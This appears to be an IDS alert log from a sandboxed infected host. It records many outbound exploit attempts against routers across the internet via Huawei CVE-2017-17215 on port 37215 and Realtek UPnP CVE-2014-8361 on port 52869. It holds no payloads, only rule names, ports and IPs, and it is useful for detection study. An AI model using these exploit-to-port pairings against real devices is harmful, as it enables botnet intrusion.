Timestamp:	07/20/24-23:01:36.785490
SID:	2829579
Source Port:	50408
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 83.133.236.199

Timestamp:	07/20/24-23:01:27.361024
SID:	2831300
Source Port:	41334
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.81.163.166

Timestamp:	07/20/24-23:01:36.796105
SID:	2829579
Source Port:	36500
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.240.64.102

Timestamp:	07/20/24-23:01:27.222234
SID:	2835222
Source Port:	55098
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 159.21.195.127

Timestamp:	07/20/24-23:01:27.354949
SID:	2027339
Source Port:	40744
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.133.222.199

Timestamp:	07/20/24-23:01:22.797406
SID:	2835222
Source Port:	51992
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.76.15.207

Timestamp:	07/20/24-23:01:12.356455
SID:	2829579
Source Port:	52036
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.240.53.199

Timestamp:	07/20/24-23:01:25.404749
SID:	2829579
Source Port:	40624
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.246.248.119

Timestamp:	07/20/24-23:01:08.392180
SID:	2835222
Source Port:	59920
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 75.29.136.52

Timestamp:	07/20/24-23:01:27.269293
SID:	2835222
Source Port:	57262
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.252.153.174

Timestamp:	07/20/24-23:01:04.846946
SID:	2829579
Source Port:	42160
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 80.166.177.56

Timestamp:	07/20/24-23:01:02.628234
SID:	2835222
Source Port:	51216
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 197.103.196.150

Timestamp:	07/20/24-23:01:19.070489
SID:	2831300
Source Port:	53418
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.79.65.151

Timestamp:	07/20/24-23:01:02.620832
SID:	2829579
Source Port:	39376
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 77.190.202.82

Timestamp:	07/20/24-23:01:14.541501
SID:	2831300
Source Port:	41896
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.51.100.49

Timestamp:	07/20/24-23:01:25.391568
SID:	2835222
Source Port:	52722
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 92.60.201.159

Timestamp:	07/20/24-23:01:07.306871
SID:	2025132
Source Port:	38864
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.153.240.232

Timestamp:	07/20/24-23:01:36.795205
SID:	2835222
Source Port:	52094
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 162.202.222.182

Timestamp:	07/20/24-23:01:06.649751
SID:	2027339
Source Port:	34368
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 206.239.43.25

Timestamp:	07/20/24-23:01:07.562020
SID:	2027339
Source Port:	53244
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 35.117.84.161

Timestamp:	07/20/24-23:01:04.606670
SID:	2027339
Source Port:	40556
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.70.102.93

Timestamp:	07/20/24-23:00:59.021393
SID:	2835222
Source Port:	54336
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.28.62.129

Timestamp:	07/20/24-23:01:04.879348
SID:	2829579
Source Port:	49912
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 172.51.83.216

Timestamp:	07/20/24-23:01:14.527950
SID:	2027339
Source Port:	40684
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.69.240.56

Timestamp:	07/20/24-23:01:12.494929
SID:	2829579
Source Port:	57004
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 92.52.112.233

Timestamp:	07/20/24-23:01:06.253723
SID:	2025132
Source Port:	50566
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.34.28.229

Timestamp:	07/20/24-23:00:59.019910
SID:	2829579
Source Port:	49448
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 135.82.236.8

Timestamp:	07/20/24-23:01:07.590873
SID:	2027339
Source Port:	35724
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 47.14.186.72

Timestamp:	07/20/24-23:01:07.218094
SID:	2027339
Source Port:	38068
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.235.181.130

Timestamp:	07/20/24-23:01:08.386561
SID:	2829579
Source Port:	53400
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.122.113.19

Timestamp:	07/20/24-23:01:04.942037
SID:	2835222
Source Port:	53050
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 162.120.56.216

Timestamp:	07/20/24-23:01:14.512728
SID:	2027339
Source Port:	52674
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 159.21.195.127

Timestamp:	07/20/24-23:01:19.948054
SID:	2027339
Source Port:	40046
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 99.160.201.206

Timestamp:	07/20/24-23:01:06.348171
SID:	2027339
Source Port:	54546
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.6.220.227

Timestamp:	07/20/24-23:01:36.799485
SID:	2829579
Source Port:	45476
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.154.239.57

Timestamp:	07/20/24-23:01:04.858015
SID:	2835222
Source Port:	55316
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 76.239.185.4

Timestamp:	07/20/24-23:01:14.536390
SID:	2027339
Source Port:	39518
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.243.238.243

Timestamp:	07/20/24-23:01:08.435254
SID:	2829579
Source Port:	37948
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 75.16.206.108

Timestamp:	07/20/24-23:01:14.525838
SID:	2831300
Source Port:	57822
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.101.96.17

Timestamp:	07/20/24-23:01:02.624280
SID:	2835222
Source Port:	56938
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 81.73.195.232

Timestamp:	07/20/24-23:01:14.543026
SID:	2831300
Source Port:	43356
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.141.29.177

Timestamp:	07/20/24-23:01:02.607205
SID:	2829579
Source Port:	36476
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 112.136.148.134

Timestamp:	07/20/24-23:01:14.574230
SID:	2027339
Source Port:	44968
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.149.121.17

Timestamp:	07/20/24-23:01:22.746773
SID:	2829579
Source Port:	46466
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 99.113.93.165

Timestamp:	07/20/24-23:01:36.812730
SID:	2835222
Source Port:	40208
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.197.183.19

Timestamp:	07/20/24-23:01:06.820921
SID:	2829579
Source Port:	45000
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.36.47.12

Timestamp:	07/20/24-23:01:06.813789
SID:	2829579
Source Port:	49100
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 222.97.13.69

Timestamp:	07/20/24-23:01:14.521866
SID:	2831300
Source Port:	35338
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.109.166.112

Timestamp:	07/20/24-23:00:59.022751
SID:	2829579
Source Port:	57056
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 89.59.219.11

Timestamp:	07/20/24-23:01:12.360354
SID:	2829579
Source Port:	53234
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.136.94.142

Timestamp:	07/20/24-23:00:59.055059
SID:	2829579
Source Port:	60614
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.68.253.229

Timestamp:	07/20/24-23:01:25.397771
SID:	2829579
Source Port:	60550
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 222.97.13.69

Timestamp:	07/20/24-23:01:14.521866
SID:	2027339
Source Port:	35338
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 98.113.228.216

Timestamp:	07/20/24-23:01:21.670918
SID:	2025132
Source Port:	34304
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 43.126.159.21

Timestamp:	07/20/24-23:01:19.219285
SID:	2027339
Source Port:	33092
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.130.84.153

Timestamp:	07/20/24-23:01:36.780757
SID:	2829579
Source Port:	35150
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 19.96.215.60

Timestamp:	07/20/24-23:01:05.813514
SID:	2027339
Source Port:	33182
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.108.71.72

Timestamp:	07/20/24-23:00:59.020449
SID:	2835222
Source Port:	40410
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.225.176.9

Timestamp:	07/20/24-23:01:06.812907
SID:	2829579
Source Port:	54196
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 216.44.193.248

Timestamp:	07/20/24-23:01:14.530874
SID:	2831300
Source Port:	43200
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.67.215.252

Timestamp:	07/20/24-23:01:36.812730
SID:	2829579
Source Port:	43568
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 183.32.240.14

Timestamp:	07/20/24-23:01:06.326396
SID:	2025132
Source Port:	48684
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.107.200.173

Timestamp:	07/20/24-23:01:02.595730
SID:	2829579
Source Port:	42080
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.217.147.78

Timestamp:	07/20/24-23:01:04.867862
SID:	2829579
Source Port:	41240
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.115.220.136

Timestamp:	07/20/24-23:01:12.484346
SID:	2835222
Source Port:	58988
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 71.163.97.163

Timestamp:	07/20/24-23:01:07.504277
SID:	2027339
Source Port:	52006
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 170.245.248.200

Timestamp:	07/20/24-23:01:19.364895
SID:	2025132
Source Port:	47916
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 98.189.122.151

Timestamp:	07/20/24-23:01:14.513824
SID:	2831300
Source Port:	36180
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 195.163.106.174

Timestamp:	07/20/24-23:01:22.736706
SID:	2835222
Source Port:	49312
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 8.85.166.254

Timestamp:	07/20/24-23:01:06.669743
SID:	2027339
Source Port:	42584
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 138.112.34.112

Timestamp:	07/20/24-23:01:27.361024
SID:	2831300
Source Port:	53210
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.244.22.221

Timestamp:	07/20/24-23:01:06.798866
SID:	2829579
Source Port:	37538
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.20.12.234

Timestamp:	07/20/24-23:01:36.850220
SID:	2835222
Source Port:	46350
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.33.125.198

Timestamp:	07/20/24-23:01:32.203847
SID:	2829579
Source Port:	38444
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.241.51.205

Timestamp:	07/20/24-23:01:15.000001
SID:	2835222
Source Port:	56576
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 129.209.221.62

Timestamp:	07/20/24-23:01:04.738781
SID:	2025132
Source Port:	59122
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.7.176.177

Timestamp:	07/20/24-23:01:27.204639
SID:	2835222
Source Port:	36970
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.236.26.155

Timestamp:	07/20/24-23:01:02.678688
SID:	2835222
Source Port:	58604
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.230.49.196

Timestamp:	07/20/24-23:01:25.449989
SID:	2835222
Source Port:	53680
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 125.82.19.196

Timestamp:	07/20/24-23:01:14.525496
SID:	2027339
Source Port:	50548
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.233.230.86

Timestamp:	07/20/24-23:01:36.787101
SID:	2835222
Source Port:	58900
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.56.38.36

Timestamp:	07/20/24-23:00:59.023193
SID:	2835222
Source Port:	50670
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 163.65.36.38

Timestamp:	07/20/24-23:01:22.741097
SID:	2835222
Source Port:	50284
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 169.212.52.234

Timestamp:	07/20/24-23:01:32.232613
SID:	2829579
Source Port:	38802
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.167.94.194

Timestamp:	07/20/24-23:01:06.808312
SID:	2835222
Source Port:	46544
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.73.30.10

Timestamp:	07/20/24-23:01:06.820921
SID:	2829579
Source Port:	58964
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 115.130.21.220

Timestamp:	07/20/24-23:01:14.536803
SID:	2027339
Source Port:	44334
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 13.146.164.210

Timestamp:	07/20/24-23:01:06.525721
SID:	2027339
Source Port:	53966
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.17.101.178

Timestamp:	07/20/24-23:01:32.257456
SID:	2835222
Source Port:	49708
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 81.73.195.232

Timestamp:	07/20/24-23:01:14.543026
SID:	2027339
Source Port:	43356
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.96.53.15

Timestamp:	07/20/24-23:01:22.748875
SID:	2829579
Source Port:	58870
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 1.100.100.157

Timestamp:	07/20/24-23:01:32.259330
SID:	2835222
Source Port:	59440
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.231.126.250

Timestamp:	07/20/24-23:00:59.020685
SID:	2835222
Source Port:	49466
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 13.21.70.134

Timestamp:	07/20/24-23:01:27.366334
SID:	2027339
Source Port:	40494
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 165.40.111.49

Timestamp:	07/20/24-23:01:14.547224
SID:	2027339
Source Port:	45678
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 183.89.166.139

Timestamp:	07/20/24-23:01:14.508164
SID:	2831300
Source Port:	39936
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.242.51.154

Timestamp:	07/20/24-23:01:36.852816
SID:	2829579
Source Port:	60748
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 196.108.28.41

Timestamp:	07/20/24-23:00:59.022586
SID:	2835222
Source Port:	41912
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 122.26.122.109

Timestamp:	07/20/24-23:01:14.547545
SID:	2027339
Source Port:	37078
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 125.85.149.118

Timestamp:	07/20/24-23:01:25.391404
SID:	2829579
Source Port:	60716
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.184.200.133

Timestamp:	07/20/24-23:01:36.780651
SID:	2829579
Source Port:	38600
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.79.117.67

Timestamp:	07/20/24-23:01:12.490733
SID:	2835222
